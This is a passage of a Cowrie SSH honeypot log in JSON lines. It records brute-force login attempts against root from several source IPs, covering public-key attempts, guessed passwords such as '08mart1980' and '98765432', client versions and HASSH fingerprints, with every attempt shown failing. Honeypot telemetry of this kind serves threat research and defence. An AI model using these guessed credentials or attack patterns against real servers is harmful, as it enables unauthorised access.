rcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.448992Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:84:c2:a7:c1:83:43:f8:79:88:60:da:95:46:37:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ekzYS1LPOjK57TiLAbH39tfa3dbsdoNBJ3f2fi0HFOB7aCocJDJkrXjRiujE4Q7IWCJTJmOLtqDy9Wd/2uSmzuBoQYiVce2EM58gkJrXExVMq8cJz5nNmYkQkDDhqvyGkbLl7fSjVMZGgvHzLuPd37vgtv6hGVWYFyyttmWUX7UMzCS4ZGHG8HdqcZB6iiXgPIews8fMz6KG2Nnqj5SrWXWOD95wGVckekJ+cUm5WPuHMW0QO/pwTk5A2NqHdiNIV3g39WpVrycGDQqZW6uOuTpf44Bgc+9GvYrpDxG1K64c/LpELKJ9VLAEF638Xg9CA7iuSnUeSwHWu0lNLizH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:84:c2:a7:c1:83:43:f8:79:88:60:da:95:46:37:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.566790Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:84:c2:a7:c1:83:43:f8:79:88:60:da:95:46:37:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ekzYS1LPOjK57TiLAbH39tfa3dbsdoNBJ3f2fi0HFOB7aCocJDJkrXjRiujE4Q7IWCJTJmOLtqDy9Wd/2uSmzuBoQYiVce2EM58gkJrXExVMq8cJz5nNmYkQkDDhqvyGkbLl7fSjVMZGgvHzLuPd37vgtv6hGVWYFyyttmWUX7UMzCS4ZGHG8HdqcZB6iiXgPIews8fMz6KG2Nnqj5SrWXWOD95wGVckekJ+cUm5WPuHMW0QO/pwTk5A2NqHdiNIV3g39WpVrycGDQqZW6uOuTpf44Bgc+9GvYrpDxG1K64c/LpELKJ9VLAEF638Xg9CA7iuSnUeSwHWu0lNLizH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.572116Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:ea:36:15:e6:ea:b4:86:80:66:57:1f:c3:b5:19:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDd8jKBLwJl7JsLCUXb1lO/I69i6EMfr9wKDxfeIYDLSslcl4D8QiD/Zm6j602n1NEgDF3jvL50P3HZMjfLPH8NDYebH2cZkUy7q34wb3ms58mtzugcDu5zbO7p7UNxogAogMX+KEIqSrcRbViXfVXe1SiafjQQDtzIUvZJ2FQGdCcHiW0O5AbdMj+h7iapBd2ZTZbT1vaoma2v07MopyO2d+0ZdqzZ/6FqXQxAtUwqCavDRklMdNt9Tkqwij04rnSlUI4Bg2gKyx5OL+vBJf09XUrVTpy9m7MTdyG3dB9oBp81vo84yItIYWAn7mZ3IrGJvd/ymuu2ycArwn5nM08WlaOM/HWLv7eBDRrE41KPbbDoD9EKweCAPDTUPSmELS6kawB76ov5OfYhJR/UCJra9CgSW1ciGzP8R3V3Dd7wofU56P1+/7ampjIbaxIy3hqM3iBdoi0/yjuXnksg1h2ctIMyIugrHR8cDfC1GKmfF01IURk5JAHzDddq3157k9s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:ea:36:15:e6:ea:b4:86:80:66:57:1f:c3:b5:19:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.604956Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:ea:36:15:e6:ea:b4:86:80:66:57:1f:c3:b5:19:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDd8jKBLwJl7JsLCUXb1lO/I69i6EMfr9wKDxfeIYDLSslcl4D8QiD/Zm6j602n1NEgDF3jvL50P3HZMjfLPH8NDYebH2cZkUy7q34wb3ms58mtzugcDu5zbO7p7UNxogAogMX+KEIqSrcRbViXfVXe1SiafjQQDtzIUvZJ2FQGdCcHiW0O5AbdMj+h7iapBd2ZTZbT1vaoma2v07MopyO2d+0ZdqzZ/6FqXQxAtUwqCavDRklMdNt9Tkqwij04rnSlUI4Bg2gKyx5OL+vBJf09XUrVTpy9m7MTdyG3dB9oBp81vo84yItIYWAn7mZ3IrGJvd/ymuu2ycArwn5nM08WlaOM/HWLv7eBDRrE41KPbbDoD9EKweCAPDTUPSmELS6kawB76ov5OfYhJR/UCJra9CgSW1ciGzP8R3V3Dd7wofU56P1+/7ampjIbaxIy3hqM3iBdoi0/yjuXnksg1h2ctIMyIugrHR8cDfC1GKmfF01IURk5JAHzDddq3157k9s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.608521Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:cf:c6:8f:f4:e3:4f:88:2c:49:c5:93:90:19:1c:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZdIp1WJRXq5y3HYOHaruerDTEjYOen6Su5xzckEorII5JwfXWSSzCWRl/p7hWh9KP1PEgH7X0KcoMdUGXYvtom9NEYexD04kO9z0WMqbx7XYmxzYyz8pGzaDatDEgCGQFFY7h8wz2edwkoc83M1e5BSNWQevWDvbKP7QPG6+8y7qhQJDEUiyRuPfKjyhNQlSd2aT2gNjbXCJbgZc/DyXVksEMKCPunVZ1b8dFiZDnCjKp+tpaL+ReHMG5LR+s1baAqgViSjAKocg8xWslsOezDdopRjx/afJomEnxGg2cRysUrQLKGm6RApXObB3TRQEYL9SnKbV3N+o1muoGWVKR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:cf:c6:8f:f4:e3:4f:88:2c:49:c5:93:90:19:1c:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.638758Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:cf:c6:8f:f4:e3:4f:88:2c:49:c5:93:90:19:1c:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZdIp1WJRXq5y3HYOHaruerDTEjYOen6Su5xzckEorII5JwfXWSSzCWRl/p7hWh9KP1PEgH7X0KcoMdUGXYvtom9NEYexD04kO9z0WMqbx7XYmxzYyz8pGzaDatDEgCGQFFY7h8wz2edwkoc83M1e5BSNWQevWDvbKP7QPG6+8y7qhQJDEUiyRuPfKjyhNQlSd2aT2gNjbXCJbgZc/DyXVksEMKCPunVZ1b8dFiZDnCjKp+tpaL+ReHMG5LR+s1baAqgViSjAKocg8xWslsOezDdopRjx/afJomEnxGg2cRysUrQLKGm6RApXObB3TRQEYL9SnKbV3N+o1muoGWVKR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.643580Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:ab:50:3a:48:30:66:25:57:3c:e3:ce:53:19:00:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGG2hCKUF+rbvVQcQ+VKvc8OPb1UAKE3M+IBRZtn+3PZNs0KGxaf0GHVy/EXWdVxIYPAx6Wl0T+sUPbn/R7ZFaS7TPih7HK0UO7cbMoB6HX+A0o/qKnAvZxjA2h9rKYf5KzdHBZnyNg7c1000Nstlk4DDVq7fH1X9uWTnMImuL2nXvH77ROKrAIrOUeEstU3N8NGWnPbnnZOM5wKeJNHyMOP8ZffOnFjvGg3R3tWYv5kwNaDSTVTYocmKb/NEDgibi45QXeZLi4VtMg+90pYndZM3ycy1saz0r98N7xC5rSGUM4cDZUoSV5o8QnorDWY3w5Tku3/FzlAUWU6mwWvFcaZdguvuce5rP5OGjZfrrcNVJYa+NjB4JayjiNaxViwp2P7xJpYeeyXPDiu3M3BAUs9VA31uBPEY4oog+ScgrA1byWfOwY7eACn3WiPD89B3tyv9LVGC0m59siS4V9BJJWV7TdeJkKvzMtNLLeqbAy1rPD0wUtaWe8K5YaWvHNOwcs9rfdGlkdAHa0hdyF70oLMa3ew8LVnIOo8so1Vd2sj1G0eplk1CRNjMwJ9midZwTxRwk4DsFoa7OqGFyKT8WUVaziUwgGABrDvzpyVIOT6PjRlwK6HpwoVqfxEnbJaGltouwHiQ2DfrAoxwqLba8sy3cCB6XWIjN4+BcINrq3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:ab:50:3a:48:30:66:25:57:3c:e3:ce:53:19:00:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.676902Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:ab:50:3a:48:30:66:25:57:3c:e3:ce:53:19:00:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGG2hCKUF+rbvVQcQ+VKvc8OPb1UAKE3M+IBRZtn+3PZNs0KGxaf0GHVy/EXWdVxIYPAx6Wl0T+sUPbn/R7ZFaS7TPih7HK0UO7cbMoB6HX+A0o/qKnAvZxjA2h9rKYf5KzdHBZnyNg7c1000Nstlk4DDVq7fH1X9uWTnMImuL2nXvH77ROKrAIrOUeEstU3N8NGWnPbnnZOM5wKeJNHyMOP8ZffOnFjvGg3R3tWYv5kwNaDSTVTYocmKb/NEDgibi45QXeZLi4VtMg+90pYndZM3ycy1saz0r98N7xC5rSGUM4cDZUoSV5o8QnorDWY3w5Tku3/FzlAUWU6mwWvFcaZdguvuce5rP5OGjZfrrcNVJYa+NjB4JayjiNaxViwp2P7xJpYeeyXPDiu3M3BAUs9VA31uBPEY4oog+ScgrA1byWfOwY7eACn3WiPD89B3tyv9LVGC0m59siS4V9BJJWV7TdeJkKvzMtNLLeqbAy1rPD0wUtaWe8K5YaWvHNOwcs9rfdGlkdAHa0hdyF70oLMa3ew8LVnIOo8so1Vd2sj1G0eplk1CRNjMwJ9midZwTxRwk4DsFoa7OqGFyKT8WUVaziUwgGABrDvzpyVIOT6PjRlwK6HpwoVqfxEnbJaGltouwHiQ2DfrAoxwqLba8sy3cCB6XWIjN4+BcINrq3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.680578Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:c9:2f:47:f6:a5:6f:04:88:8a:dd:2e:68:9c:5d:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdqQalcfthE+nu+2Eua6Y+6iLOIBNOzMt9G/NkH/WrJ94oqeOZ0DteFrPtp11LUYAklDftRfv6OBUL+GKumSkadzf8vaiaRmzEIFK4gA47nYlbxb6UNiFs5ODvluKoACnGb8Iy9urbX88EuEXBv7PH1ctcE7O7hWEFcYfl6i8hvOZDb5ddN0ulrbfin4lfzaScXmNod5wGhOOYi/csHUTvOmzb5efsykEwQJBDA3hzvkLhVlBVi8wwPqjz8RN9zzCQFlco4UXR0of00Y+T1DajNUPXALfq79X1/FpUej4fcAGpF8tQ8DRp6SeMULPP3EVybX8KR8JpxZnLXMSBeiwD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:c9:2f:47:f6:a5:6f:04:88:8a:dd:2e:68:9c:5d:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.714143Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:c9:2f:47:f6:a5:6f:04:88:8a:dd:2e:68:9c:5d:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdqQalcfthE+nu+2Eua6Y+6iLOIBNOzMt9G/NkH/WrJ94oqeOZ0DteFrPtp11LUYAklDftRfv6OBUL+GKumSkadzf8vaiaRmzEIFK4gA47nYlbxb6UNiFs5ODvluKoACnGb8Iy9urbX88EuEXBv7PH1ctcE7O7hWEFcYfl6i8hvOZDb5ddN0ulrbfin4lfzaScXmNod5wGhOOYi/csHUTvOmzb5efsykEwQJBDA3hzvkLhVlBVi8wwPqjz8RN9zzCQFlco4UXR0of00Y+T1DajNUPXALfq79X1/FpUej4fcAGpF8tQ8DRp6SeMULPP3EVybX8KR8JpxZnLXMSBeiwD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.720137Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.751438Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":40414,"dst_ip":"159.203.135.109","dst_port":22,"session":"46a5f958c9da","protocol":"ssh","message":"New connection: 80.66.85.226:40414 (159.203.135.109:22) [session: 46a5f958c9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:10.714362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:10.719689Z","src_ip":"80.66.85.226","session":"46a5f958c9da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:10.809621Z","src_ip":"80.66.85.226","session":"46a5f958c9da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfhufhbnf","message":"login attempt [root/vfhufhbnf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:11.088717Z","src_ip":"80.66.85.226","session":"46a5f958c9da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:12.181985Z","src_ip":"80.66.85.226","session":"46a5f958c9da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46054,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fb2f9418579","protocol":"ssh","message":"New connection: 109.237.96.109:46054 (159.203.135.109:22) [session: 2fb2f9418579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:36.831200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:36.835362Z","src_ip":"109.237.96.109","session":"2fb2f9418579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:36.929343Z","src_ip":"109.237.96.109","session":"2fb2f9418579","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roman","message":"login attempt [root/roman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:37.215107Z","src_ip":"109.237.96.109","session":"2fb2f9418579","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:38.313038Z","src_ip":"109.237.96.109","session":"2fb2f9418579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":56116,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a817a31926c","protocol":"ssh","message":"New connection: 103.75.182.198:56116 (159.203.135.109:22) [session: 9a817a31926c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:55.404043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:55.408902Z","src_ip":"103.75.182.198","session":"9a817a31926c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:55.656969Z","src_ip":"103.75.182.198","session":"9a817a31926c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08mart1980","message":"login attempt [root/08mart1980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:56.400778Z","src_ip":"103.75.182.198","session":"9a817a31926c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:57.672538Z","src_ip":"103.75.182.198","session":"9a817a31926c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":55804,"dst_ip":"159.203.135.109","dst_port":22,"session":"2da2fbf81ad9","protocol":"ssh","message":"New connection: 62.133.63.178:55804 (159.203.135.109:22) [session: 2da2fbf81ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:07.063731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:07.068667Z","src_ip":"62.133.63.178","session":"2da2fbf81ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:07.191930Z","src_ip":"62.133.63.178","session":"2da2fbf81ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"98765432","message":"login attempt [root/98765432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:07.563539Z","src_ip":"62.133.63.178","session":"2da2fbf81ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:08.692228Z","src_ip":"62.133.63.178","session":"2da2fbf81ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":53746,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca2fbced2aa1","protocol":"ssh","message":"New connection: 103.183.114.55:53746 (159.203.135.109:22) [session: ca2fbced2aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:12.963655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:43:12.970177Z","src_ip":"103.183.114.55","session":"ca2fbced2aa1","protocol":"ssh"}
